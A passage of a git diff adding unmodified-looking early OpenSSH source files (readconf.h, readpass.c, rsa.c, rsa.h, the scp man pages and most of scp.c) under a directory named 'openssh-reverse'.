rhosts_authentication; /* Try rhosts authentication. */ + int rhosts_rsa_authentication; /* Try rhosts with RSA + * authentication. */ + int rsa_authentication; /* Try RSA authentication. */ + int dsa_authentication; /* Try DSA authentication. */ + int skey_authentication; /* Try S/Key or TIS authentication. */ +#ifdef KRB4 + int kerberos_authentication; /* Try Kerberos + * authentication. */ +#endif +#ifdef AFS + int kerberos_tgt_passing; /* Try Kerberos tgt passing. */ + int afs_token_passing; /* Try AFS token passing. */ +#endif + int password_authentication; /* Try password + * authentication. */ + int fallback_to_rsh;/* Use rsh if cannot connect with ssh. */ + int use_rsh; /* Always use rsh (don\'t try ssh). */ + int batch_mode; /* Batch mode: do not ask for passwords. */ + int check_host_ip; /* Also keep track of keys for IP address */ + int strict_host_key_checking; /* Strict host key checking. */ + int compression; /* Compress packets in both directions. */ + int compression_level; /* Compression level 1 (fast) to 9 + * (best). */ + int keepalives; /* Set SO_KEEPALIVE. */ + LogLevel log_level; /* Level for logging. */ + + int port; /* Port to connect. */ + int connection_attempts; /* Max attempts (seconds) before + * giving up */ + int number_of_password_prompts; /* Max number of password + * prompts. */ + int cipher; /* Cipher to use. */ + char *ciphers; /* SSH2 ciphers in order of preference. */ + int protocol; /* Protocol in order of preference. */ + char *hostname; /* Real host to connect. */ + char *proxy_command; /* Proxy command for connecting the host. */ + char *user; /* User to log in as. */ + int escape_char; /* Escape character; -2 = none */ + + char *system_hostfile;/* Path for /etc/ssh_known_hosts. */ + char *user_hostfile; /* Path for $HOME/.ssh/known_hosts. */ + char *system_hostfile2; + char *user_hostfile2; + + int num_identity_files; /* Number of files for RSA identities. */ + int num_identity_files2; /* DSA identities. */ + char *identity_files[SSH_MAX_IDENTITY_FILES]; + char *identity_files2[SSH_MAX_IDENTITY_FILES]; + + /* Local TCP/IP forward requests. */ + int num_local_forwards; + Forward local_forwards[SSH_MAX_FORWARDS_PER_DIRECTION]; + + /* Remote TCP/IP forward requests. */ + int num_remote_forwards; + Forward remote_forwards[SSH_MAX_FORWARDS_PER_DIRECTION]; +} Options; + + +/* + * Initializes options to special values that indicate that they have not yet + * been set. Read_config_file will only set options with this value. Options + * are processed in the following order: command line, user config file, + * system config file. Last, fill_default_options is called. + */ +void initialize_options(Options * options); + +/* + * Called after processing other sources of option data, this fills those + * options for which no value has been specified with their default values. + */ +void fill_default_options(Options * options); + +/* + * Processes a single option line as used in the configuration files. This + * only sets those values that have not already been set. Returns 0 for legal + * options + */ +int +process_config_line(Options * options, const char *host, + char *line, const char *filename, int linenum, + int *activep); + +/* + * Reads the config file and modifies the options accordingly. Options + * should already be initialized before this call. This never returns if + * there is an error. If the file does not exist, this returns immediately. + */ +void +read_config_file(const char *filename, const char *host, + Options * options); + +/* + * Adds a local TCP/IP port forward to options. Never returns if there is an + * error. + */ +void +add_local_forward(Options * options, u_short port, const char *host, + u_short host_port); + +/* + * Adds a remote TCP/IP port forward to options. Never returns if there is + * an error. + */ +void +add_remote_forward(Options * options, u_short port, const char *host, + u_short host_port); + +#endif /* READCONF_H */ diff --git a/other/openssh-reverse/readpass.c b/other/openssh-reverse/readpass.c new file mode 100644 index 0000000..c38292f --- /dev/null +++ b/other/openssh-reverse/readpass.c @@ -0,0 +1,119 @@ +/* + * Copyright (c) 1988, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: readpass.c,v 1.11 2000/06/20 01:39:44 markus Exp $"); + +#include "xmalloc.h" +#include "ssh.h" + +volatile int intr; + +void +intcatch() +{ + intr = 1; +} + +/* + * Reads a passphrase from /dev/tty with echo turned off. Returns the + * passphrase (allocated with xmalloc), being very careful to ensure that + * no other userland buffer is storing the password. + */ +char * +read_passphrase(const char *prompt, int from_stdin) +{ + char buf[1024], *p, ch; + struct termios tio, saved_tio; + sigset_t oset, nset; + struct sigaction sa, osa; + int input, output, echo = 0; + + if (from_stdin) { + input = STDIN_FILENO; + output = STDERR_FILENO; + } else + input = output = open("/dev/tty", O_RDWR); + + if (input == -1) + fatal("You have no controlling tty. Cannot read passphrase.\n"); + + /* block signals, get terminal modes and turn off echo */ + sigemptyset(&nset); + sigaddset(&nset, SIGTSTP); + (void) sigprocmask(SIG_BLOCK, &nset, &oset); + memset(&sa, 0, sizeof(sa)); + sa.sa_handler = intcatch; + (void) sigaction(SIGINT, &sa, &osa); + + intr = 0; + + if (tcgetattr(input, &saved_tio) == 0 && (saved_tio.c_lflag & ECHO)) { + echo = 1; + tio = saved_tio; + tio.c_lflag &= ~(ECHO | ECHOE | ECHOK | ECHONL); + (void) tcsetattr(input, TCSANOW, &tio); + } + + fflush(stdout); + + (void)write(output, prompt, strlen(prompt)); + for (p = buf; read(input, &ch, 1) == 1 && ch != '\n';) { + if (intr) + break; + if (p < buf + sizeof(buf) - 1) + *p++ = ch; + } + *p = '\0'; + if (!intr) + (void)write(output, "\n", 1); + + /* restore terminal modes and allow signals */ + if (echo) + tcsetattr(input, TCSANOW, &saved_tio); + (void) sigprocmask(SIG_SETMASK, &oset, NULL); + (void) sigaction(SIGINT, &osa, NULL); + + if (intr) { + kill(getpid(), SIGINT); + sigemptyset(&nset); + /* XXX tty has not neccessarily drained by now? */ + sigsuspend(&nset); + } + + if (!from_stdin) + (void)close(input); + p = xstrdup(buf); + memset(buf, 0, sizeof(buf)); + return (p); +} diff --git a/other/openssh-reverse/rsa.c b/other/openssh-reverse/rsa.c new file mode 100644 index 0000000..46ad6b6 --- /dev/null +++ b/other/openssh-reverse/rsa.c @@ -0,0 +1,191 @@ +/* + * + * rsa.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Fri Mar 3 22:07:06 1995 ylo + * + * Description of the RSA algorithm can be found e.g. from the following sources: + * + * Bruce Schneier: Applied Cryptography. John Wiley & Sons, 1994. + * + * Jennifer Seberry and Josed Pieprzyk: Cryptography: An Introduction to + * Computer Security. Prentice-Hall, 1989. + * + * Man Young Rhee: Cryptography and Secure Data Communications. McGraw-Hill, + * 1994. + * + * R. Rivest, A. Shamir, and L. M. Adleman: Cryptographic Communications + * System and Method. US Patent 4,405,829, 1983. + * + * Hans Riesel: Prime Numbers and Computer Methods for Factorization. + * Birkhauser, 1994. + * + * The RSA Frequently Asked Questions document by RSA Data Security, Inc., 1995. + * + * RSA in 3 lines of perl by Adam Back , 1995, as included + * below: + * + * [gone - had to be deleted - what a pity] + * +*/ + +#include "includes.h" +RCSID("$OpenBSD: rsa.c,v 1.15 2000/06/20 01:39:44 markus Exp $"); + +#include "rsa.h" +#include "ssh.h" +#include "xmalloc.h" +#include "entropy.h" + +int rsa_verbose = 1; + +int +rsa_alive() +{ + RSA *key; + + seed_rng(); + key = RSA_generate_key(32, 3, NULL, NULL); + if (key == NULL) + return (0); + RSA_free(key); + return (1); +} + +/* + * Key generation progress meter callback + */ +void +keygen_progress(int p, int n, void *arg) +{ + const char progress_chars[] = ".o+O?"; + + if ((p < 0) || (p > (sizeof(progress_chars) - 2))) + p = sizeof(progress_chars) - 2; + + putchar(progress_chars[p]); + fflush(stdout); +} + +/* + * Generates RSA public and private keys. This initializes the data + * structures; they should be freed with rsa_clear_private_key and + * rsa_clear_public_key. + */ + +void +rsa_generate_key(RSA *prv, RSA *pub, unsigned int bits) +{ + RSA *key; + + seed_rng(); + + if (rsa_verbose) { + printf("Generating RSA keys: "); + fflush(stdout); + key = RSA_generate_key(bits, 35, keygen_progress, NULL); + printf("\n"); + } else { + key = RSA_generate_key(bits, 35, NULL, NULL); + } + if (key == NULL) + fatal("rsa_generate_key: key generation failed."); + + /* Copy public key parameters */ + pub->n = BN_new(); + BN_copy(pub->n, key->n); + pub->e = BN_new(); + BN_copy(pub->e, key->e); + + /* Copy private key parameters */ + prv->n = BN_new(); + BN_copy(prv->n, key->n); + prv->e = BN_new(); + BN_copy(prv->e, key->e); + prv->d = BN_new(); + BN_copy(prv->d, key->d); + prv->p = BN_new(); + BN_copy(prv->p, key->p); + prv->q = BN_new(); + BN_copy(prv->q, key->q); + + prv->dmp1 = BN_new(); + BN_copy(prv->dmp1, key->dmp1); + + prv->dmq1 = BN_new(); + BN_copy(prv->dmq1, key->dmq1); + + prv->iqmp = BN_new(); + BN_copy(prv->iqmp, key->iqmp); + + RSA_free(key); + + if (rsa_verbose) + printf("Key generation complete.\n"); +} + +void +rsa_public_encrypt(BIGNUM *out, BIGNUM *in, RSA *key) +{ + unsigned char *inbuf, *outbuf; + int len, ilen, olen; + + if (BN_num_bits(key->e) < 2 || !BN_is_odd(key->e)) + fatal("rsa_public_encrypt() exponent too small or not odd"); + + olen = BN_num_bytes(key->n); + outbuf = xmalloc(olen); + + ilen = BN_num_bytes(in); + inbuf = xmalloc(ilen); + BN_bn2bin(in, inbuf); + + if ((len = RSA_public_encrypt(ilen, inbuf, outbuf, key, + RSA_PKCS1_PADDING)) <= 0) + fatal("rsa_public_encrypt() failed"); + + BN_bin2bn(outbuf, len, out); + + memset(outbuf, 0, olen); + memset(inbuf, 0, ilen); + xfree(outbuf); + xfree(inbuf); +} + +void +rsa_private_decrypt(BIGNUM *out, BIGNUM *in, RSA *key) +{ + unsigned char *inbuf, *outbuf; + int len, ilen, olen; + + olen = BN_num_bytes(key->n); + outbuf = xmalloc(olen); + + ilen = BN_num_bytes(in); + inbuf = xmalloc(ilen); + BN_bn2bin(in, inbuf); + + if ((len = RSA_private_decrypt(ilen, inbuf, outbuf, key, + RSA_PKCS1_PADDING)) <= 0) + fatal("rsa_private_decrypt() failed"); + + BN_bin2bn(outbuf, len, out); + + memset(outbuf, 0, olen); + memset(inbuf, 0, ilen); + xfree(outbuf); + xfree(inbuf); +} + +/* Set whether to output verbose messages during key generation. */ + +void +rsa_set_verbose(int verbose) +{ + rsa_verbose = verbose; +} diff --git a/other/openssh-reverse/rsa.h b/other/openssh-reverse/rsa.h new file mode 100644 index 0000000..dfbf6f4 --- /dev/null +++ b/other/openssh-reverse/rsa.h @@ -0,0 +1,38 @@ +/* + * + * rsa.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Fri Mar 3 22:01:06 1995 ylo + * + * RSA key generation, encryption and decryption. + * +*/ + +/* RCSID("$OpenBSD: rsa.h,v 1.7 2000/06/20 01:39:44 markus Exp $"); */ + +#ifndef RSA_H +#define RSA_H + +#include +#include + +/* Calls SSL RSA_generate_key, only copies to prv and pub */ +void rsa_generate_key(RSA * prv, RSA * pub, unsigned int bits); + +/* + * Indicates whether the rsa module is permitted to show messages on the + * terminal. + */ +void rsa_set_verbose __P((int verbose)); + +int rsa_alive __P((void)); + +void rsa_public_encrypt __P((BIGNUM * out, BIGNUM * in, RSA * prv)); +void rsa_private_decrypt __P((BIGNUM * out, BIGNUM * in, RSA * prv)); + +#endif /* RSA_H */ diff --git a/other/openssh-reverse/scp.0 b/other/openssh-reverse/scp.0 new file mode 100644 index 0000000..b3b4382 --- /dev/null +++ b/other/openssh-reverse/scp.0 @@ -0,0 +1,69 @@ + +SCP(1) System Reference Manual SCP(1) + +NAME + scp - secure copy (remote file copy program) + +SYNOPSIS + scp [-pqrvC46] [-P port] [-c cipher] [-i identity_file] + [[user@]host1:]file1 [...] [[user@]host2:]file2 + +DESCRIPTION + scp copies files between hosts on a network. It uses ssh(1) for data + transfer, and uses the same authentication and provides the same security + as ssh(1). Unlike rcp(1), scp will ask for passwords or passphrases if + they are needed for authentication. + + Any file name may contain a host and user specification to indicate that + the file is to be copied to/from that host. Copies between two remote + hosts are permitted. + + The options are as follows: + + -c cipher + Selects the cipher to use for encrypting the data transfer. This + option is directly passed to ssh(1). + + -i identity_file + Selects the file from which the identity (private key) for RSA + authentication is read. This option is directly passed to + ssh(1). + + -p Preserves modification times, access times, and modes from the + original file. + + -r Recursively copy entire directories. + + -v Verbose mode. Causes scp and ssh(1) to print debugging messages + about their progress. This is helpful in debugging connection, + authentication, and configuration problems. + + -B Selects batch mode (prevents asking for passwords or passphras- + es). + + -q Disables the progress meter. + + -C Compression enable. Passes the -C flag to ssh(1) to enable com- + pression. + + -P port + Specifies the port to connect to on the remote host. Note that + this option is written with a capital `P', because -p is already + reserved for preserving the times and modes of the file in + rcp(1). + + -4 Forces scp to use IPv4 addresses only. + + -6 Forces scp to use IPv6 addresses only. + +AUTHORS + Timo Rinne and Tatu Ylonen + +HISTORY + scp is based on the rcp(1) program in BSD source code from the Regents of + the University of California. + +SEE ALSO + rcp(1), ssh(1), ssh-add(1), ssh-agent(1), ssh-keygen(1), sshd(8) + +BSD Experimental September 25, 1999 2 diff --git a/other/openssh-reverse/scp.1 b/other/openssh-reverse/scp.1 new file mode 100644 index 0000000..267195d --- /dev/null +++ b/other/openssh-reverse/scp.1 @@ -0,0 +1,124 @@ +.\" -*- nroff -*- +.\" +.\" scp.1 +.\" +.\" Author: Tatu Ylonen +.\" +.\" Copyright (c) 1995 Tatu Ylonen , Espoo, Finland +.\" All rights reserved +.\" +.\" Created: Sun May 7 00:14:37 1995 ylo +.\" +.\" $Id: scp.1,v 1.8 2000/07/06 04:06:56 aaron Exp $ +.\" +.Dd September 25, 1999 +.Dt SCP 1 +.Os +.Sh NAME +.Nm scp +.Nd secure copy (remote file copy program) +.Sh SYNOPSIS +.Nm scp +.Op Fl pqrvC46 +.Op Fl P Ar port +.Op Fl c Ar cipher +.Op Fl i Ar identity_file +.Sm off +.Oo +.Op Ar user@ +.Ar host1 No : +.Oc Ns Ar file1 +.Sm on +.Op Ar ... +.Sm off +.Oo +.Op Ar user@ +.Ar host2 No : +.Oc Ar file2 +.Sm on +.Sh DESCRIPTION +.Nm +copies files between hosts on a network. +It uses +.Xr ssh 1 +for data transfer, and uses the same authentication and provides the +same security as +.Xr ssh 1 . +Unlike +.Xr rcp 1 , +.Nm +will ask for passwords or passphrases if they are needed for +authentication. +.Pp +Any file name may contain a host and user specification to indicate +that the file is to be copied to/from that host. +Copies between two remote hosts are permitted. +.Pp +The options are as follows: +.Bl -tag -width Ds +.It Fl c Ar cipher +Selects the cipher to use for encrypting the data transfer. +This option is directly passed to +.Xr ssh 1 . +.It Fl i Ar identity_file +Selects the file from which the identity (private key) for RSA +authentication is read. +This option is directly passed to +.Xr ssh 1 . +.It Fl p +Preserves modification times, access times, and modes from the +original file. +.It Fl r +Recursively copy entire directories. +.It Fl v +Verbose mode. +Causes +.Nm +and +.Xr ssh 1 +to print debugging messages about their progress. +This is helpful in +debugging connection, authentication, and configuration problems. +.It Fl B +Selects batch mode (prevents asking for passwords or passphrases). +.It Fl q +Disables the progress meter. +.It Fl C +Compression enable. +Passes the +.Fl C +flag to +.Xr ssh 1 +to enable compression. +.It Fl P Ar port +Specifies the port to connect to on the remote host. +Note that this option is written with a capital +.Sq P , +because +.Fl p +is already reserved for preserving the times and modes of the file in +.Xr rcp 1 . +.It Fl 4 +Forces +.Nm +to use IPv4 addresses only. +.It Fl 6 +Forces +.Nm +to use IPv6 addresses only. +.El +.Sh AUTHORS +Timo Rinne and Tatu Ylonen +.Sh HISTORY +.Nm +is based on the +.Xr rcp 1 +program in BSD source code from the Regents of the University of +California. +.Sh SEE ALSO +.Xr rcp 1 , +.Xr ssh 1 , +.Xr ssh-add 1 , +.Xr ssh-agent 1 , +.Xr ssh-keygen 1 , +.Xr sshd 8 diff --git a/other/openssh-reverse/scp.c b/other/openssh-reverse/scp.c new file mode 100644 index 0000000..02feba9 --- /dev/null +++ b/other/openssh-reverse/scp.c @@ -0,0 +1,1267 @@ +/* + * + * scp - secure remote copy. This is basically patched BSD rcp which uses ssh + * to do the data transfer (instead of using rcmd). + * + * NOTE: This version should NOT be suid root. (This uses ssh to do the transfer + * and ssh has the necessary privileges.) + * + * 1995 Timo Rinne , Tatu Ylonen + * +*/ + +/* + * Copyright (c) 1983, 1990, 1992, 1993, 1995 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: scp.c,v 1.33 2000/07/13 23:19:31 provos Exp $"); + +#include "ssh.h" +#include "xmalloc.h" +#include + +#define _PATH_CP "cp" + +/* For progressmeter() -- number of seconds before xfer considered "stalled" */ +#define STALLTIME 5 + +/* Progress meter bar */ +#define BAR \ + "************************************************************"\ + "************************************************************"\ + "************************************************************"\ + "************************************************************" +#define MAX_BARLENGTH (sizeof(BAR) - 1) + +/* Visual statistics about files as they are transferred. */ +void progressmeter(int); + +/* Returns width of the terminal (for progress meter calculations). */ +int getttywidth(void); + +/* Time a transfer started. */ +static struct timeval start; + +/* Number of bytes of current file transferred so far. */ +volatile unsigned long statbytes; + +/* Total size of current file. */ +off_t totalbytes = 0; + +/* Name of current file being transferred. */ +char *curfile; + +/* This is set to non-zero if IPv4 is desired. */ +int IPv4 = 0; + +/* This is set to non-zero if IPv6 is desired. */ +int IPv6 = 0; + +/* This is set to non-zero to enable verbose mode. */ +int verbose_mode = 0; + +/* This is set to non-zero if compression is desired. */ +int compress_flag = 0; + +/* This is set to zero if the progressmeter is not desired. */ +int showprogress = 1; + +/* This is set to non-zero if running in batch mode (that is, password + and passphrase queries are not allowed). */ +int batchmode = 0; + +/* This is set to the cipher type string if given on the command line. */ +char *cipher = NULL; + +/* This is set to the RSA authentication identity file name if given on + the command line. */ +char *identity = NULL; + +/* This is the port to use in contacting the remote site (is non-NULL). */ +char *port = NULL; + +/* + * This function executes the given command as the specified user on the + * given host. This returns < 0 if execution fails, and >= 0 otherwise. This + * assigns the input and output file descriptors on success. + */ + +int +do_cmd(char *host, char *remuser, char *cmd, int *fdin, int *fdout) +{ + int pin[2], pout[2], reserved[2]; + + if (verbose_mode) + fprintf(stderr, "Executing: host %s, user %s, command %s\n", + host, remuser ? remuser : "(unspecified)", cmd); + + /* + * Reserve two descriptors so that the real pipes won't get + * descriptors 0 and 1 because that will screw up dup2 below. + */ + pipe(reserved); + + /* Create a socket pair for communicating with ssh. */ + if (pipe(pin) < 0) + fatal("pipe: %s", strerror(errno)); + if (pipe(pout) < 0) + fatal("pipe: %s", strerror(errno)); + + /* Free the reserved descriptors. */ + close(reserved[0]); + close(reserved[1]); + + /* For a child to execute the command on the remote host using ssh. */ + if (fork() == 0) { + char *args[100]; + unsigned int i; + + /* Child. */ + close(pin[1]); + close(pout[0]); + dup2(pin[0], 0); + dup2(pout[1], 1); + close(pin[0]); + close(pout[1]); + + i = 0; + args[i++] = SSH_PROGRAM; + args[i++] = "-x"; + args[i++] = "-oFallBackToRsh no"; + if (IPv4) + args[i++] = "-4"; + if (IPv6) + args[i++] = "-6"; + if (verbose_mode) + args[i++] = "-v"; + if (compress_flag) + args[i++] = "-C"; + if (batchmode) + args[i++] = "-oBatchMode yes"; + if (cipher != NULL) { + args[i++] = "-c"; + args[i++] = cipher; + } + if (identity != NULL) { + args[i++] = "-i"; + args[i++] = identity; + } + if (port != NULL) { + args[i++] = "-p"; + args[i++] = port; + } + if (remuser != NULL) { + args[i++] = "-l"; + args[i++] = remuser; + } + args[i++] = host; + args[i++] = cmd; + args[i++] = NULL; + + execvp(SSH_PROGRAM, args); + perror(SSH_PROGRAM); + exit(1); + } + /* Parent. Close the other side, and return the local side. */ + close(pin[0]); + *fdout = pin[1]; + close(pout[1]); + *fdin = pout[0]; + return 0; +} + +void +fatal(const char *fmt,...) +{ + va_list ap; + char buf[1024]; + + va_start(ap, fmt); + vsnprintf(buf, sizeof(buf), fmt, ap); + va_end(ap); + fprintf(stderr, "%s\n", buf); + exit(255); +} + +/* This stuff used to be in BSD rcp extern.h. */ + +typedef struct { + int cnt; + char *buf; +} BUF; + +extern int iamremote; + +BUF *allocbuf(BUF *, int, int); +char *colon(char *); +void lostconn(int); +void nospace(void); +int okname(char *); +void run_err(const char *,...); +void verifydir(char *); + +/* Stuff from BSD rcp.c continues. */ + +struct passwd *pwd; +uid_t userid; +int errs, remin, remout; +int pflag, iamremote, iamrecursive, targetshouldbedirectory; + +#define CMDNEEDS 64 +char cmd[CMDNEEDS]; /* must hold "rcp -r -p -d\0" */ + +int response(void); +void rsource(char *, struct stat *); +void sink(int, char *[]); +void source(int, char *[]); +void tolocal(int, char *[]); +void toremote(char *, int, char *[]); +void usage(void); + +int +main(argc, argv) + int argc; + char *argv[]; +{ + int ch, fflag, tflag; + char *targ; + extern char *optarg; + extern int optind; + + fflag = tflag = 0; + while ((ch = getopt(argc, argv, "dfprtvBCc:i:P:q46")) != EOF) + switch (ch) { + /* User-visible flags. */ + case '4': + IPv4 = 1; + break; + case '6': + IPv6 = 1; + break; + case 'p': + pflag = 1; + break; + case 'P': + port = optarg; + break; + case 'r': + iamrecursive = 1; + break; + /* Server options. */ + case 'd': + targetshouldbedirectory = 1; + break; + case 'f': /* "from" */ + iamremote = 1; + fflag = 1; + break; + case 't': /* "to" */ + iamremote = 1; + tflag = 1; + break; + case 'c': + cipher = optarg; + break; + case 'i': + identity = optarg; + break; + case 'v': + verbose_mode = 1; + break; + case 'B': + batchmode = 1; + break; + case 'C': + compress_flag = 1; + break; + case 'q': + showprogress = 0; + break; + case '?': + default: + usage(); + } + argc -= optind; + argv += optind; + + if ((pwd = getpwuid(userid = getuid())) == NULL) + fatal("unknown user %d", (int) userid); + + if (!isatty(STDERR_FILENO)) + showprogress = 0; + + remin = STDIN_FILENO; + remout = STDOUT_FILENO; + + if (fflag) { + /* Follow "protocol", send data. */ + (void) response(); + source(argc, argv); + exit(errs != 0); + } + if (tflag) { + /* Receive data. */ + sink(argc, argv); + exit(errs != 0); + } + if (argc < 2) + usage(); + if (argc > 2) + targetshouldbedirectory = 1; + + remin = remout = -1; + /* Command to be executed on remote system using "ssh". */ + (void) sprintf(cmd, "scp%s%s%s%s", verbose_mode ? " -v" : "", + iamrecursive ? " -r" : "", pflag ? " -p" : "", + targetshouldbedirectory ? " -d" : ""); + + (void) signal(SIGPIPE, lostconn); + + if ((targ = colon(argv[argc - 1]))) /* Dest is remote host. */ + toremote(targ, argc, argv); + else { + tolocal(argc, argv); /* Dest is local host. */ + if (targetshouldbedirectory) + verifydir(argv[argc - 1]); + } + exit(errs != 0); +} + +char * +cleanhostname(host) + char *host; +{ + if (*host == '[' && host[strlen(host) - 1] == ']') { + host[strlen(host) - 1] = '\0'; + return (host + 1); + } else + return host; +} + +void +toremote(targ, argc, argv) + char *targ, *argv[]; + int argc; +{ + int i, len; + char *bp, *host, *src, *suser, *thost, *tuser; + + *targ++ = 0; + if (*targ == 0) + targ = "."; + + if ((thost = strchr(argv[argc - 1], '@'))) { + /* user@host */ + *thost++ = 0; + tuser = argv[argc - 1]; + if (*tuser == '\0') + tuser = NULL; + else if (!okname(tuser)) + exit(1); + } else { + thost = argv[argc - 1]; + tuser = NULL; + } + + for (i = 0; i < argc - 1; i++) { + src = colon(argv[i]); + if (src) { /* remote to remote */ + *src++ = 0; + if (*src == 0) + src = "."; + host = strchr(argv[i], '@'); + len = strlen(SSH_PROGRAM) + strlen(argv[i]) + + strlen(src) + (tuser ? strlen(tuser) : 0) + + strlen(thost) + strlen(targ) + CMDNEEDS + 32; + bp = xmalloc(len); + if (host) { + *host++ = 0; + host = cleanhostname(host); + suser = argv[i]; + if (*suser == '\0') + suser = pwd->pw_name; + else if (!okname(suser)) + continue; + (void) sprintf(bp, + "%s%s -x -o'FallBackToRsh no' -n -l %s %s %s %s '%s%s%s:%s'", + SSH_PROGRAM, verbose_mode ? " -v" : "", + suser, host, cmd, src, + tuser ? tuser : "", tuser ? "@" : "", + thost, targ); + } else { + host = cleanhostname(argv[i]); + (void) sprintf(bp, + "exec %s%s -x -o'FallBackToRsh no' -n %s %s %s '%s%s%s:%s'", + SSH_PROGRAM, verbose_mode ? " -v" : "", + host, cmd, src, + tuser ? tuser : "", tuser ? "@" : "", + thost, targ); + } + if (verbose_mode) + fprintf(stderr, "Executing: %s\n", bp); + (void) system(bp); + (void) xfree(bp); + } else { /* local to remote */ + if (remin == -1) { + len = strlen(targ) + CMDNEEDS + 20; + bp = xmalloc(len); + (void) sprintf(bp, "%s -t %s", cmd, targ); + host = cleanhostname(thost); + if (do_cmd(host, tuser, + bp, &remin, &remout) < 0) + exit(1); + if (response() < 0) + exit(1); + (void) xfree(bp); + } + source(1, argv + i); + } + } +} + +void +tolocal(argc, argv) + int argc; + char *argv[]; +{ + int i, len; + char *bp, *host, *src, *suser; + + for (i = 0; i < argc - 1; i++) { + if (!(src = colon(argv[i]))) { /* Local to local. */ + len = strlen(_PATH_CP) + strlen(argv[i]) + + strlen(argv[argc - 1]) + 20; + bp = xmalloc(len); + (void) sprintf(bp, "exec %s%s%s %s %s", _PATH_CP, + iamrecursive ? " -r" : "", pflag ? " -p" : "", + argv[i], argv[argc - 1]); + if (verbose_mode) + fprintf(stderr, "Executing: %s\n", bp); + if (system(bp)) + ++errs; + (void) xfree(bp); + continue; + } + *src++ = 0; + if (*src == 0) + src = "."; + if ((host = strchr(argv[i], '@')) == NULL) { + host = argv[i]; + suser = NULL; + } else { + *host++ = 0; + suser = argv[i]; + if (*suser == '\0') + suser = pwd->pw_name; + else if (!okname(suser)) + continue; + } + host = cleanhostname(host); + len = strlen(src) + CMDNEEDS + 20; + bp = xmalloc(len); + (void) sprintf(bp, "%s -f %s", cmd, src); + if (do_cmd(host, suser, bp, &remin, &remout) < 0) { + (void) xfree(bp); + ++errs; + continue; + } + xfree(bp); + sink(1, argv + argc - 1); + (void) close(remin); + remin = remout = -1; + } +} + +void +source(argc, argv) + int argc; + char *argv[]; +{ + struct stat stb; + static BUF buffer; + BUF *bp; + off_t i; + int amt, fd, haderr, indx, result; + char *last, *name, buf[2048]; + + for (indx = 0; indx < argc; ++indx) { + name = argv[indx]; + statbytes = 0; + if ((fd = open(name, O_RDONLY, 0)) < 0) + goto syserr; + if (fstat(fd, &stb) < 0) { +syserr: run_err("%s: %s", name, strerror(errno)); + goto next; + } + switch (stb.st_mode & S_IFMT) { + case S_IFREG: + break; + case S_IFDIR: + if (iamrecursive) { + rsource(name, &stb); + goto next; + } + /* FALLTHROUGH */ + default: + run_err("%s: not a regular file", name); + goto next; + } + if ((last = strrchr(name, '/')) == NULL) + last = name; + else + ++last; + curfile = last; + if (pflag) { + /* + * Make it compatible with possible future + * versions expecting microseconds. + */ + (void) sprintf(buf, "T%lu 0 %lu 0\n", + (unsigned long) stb.st_mtime, + (unsigned long) stb.st_atime); + (void) atomicio(write, remout, buf, strlen(buf)); + if (response() < 0) + goto next; + } +#define FILEMODEMASK (S_ISUID|S_ISGID|S_IRWXU|S_IRWXG|S_IRWXO) + (void) sprintf(buf, "C%04o %lu %s\n", + (unsigned int) 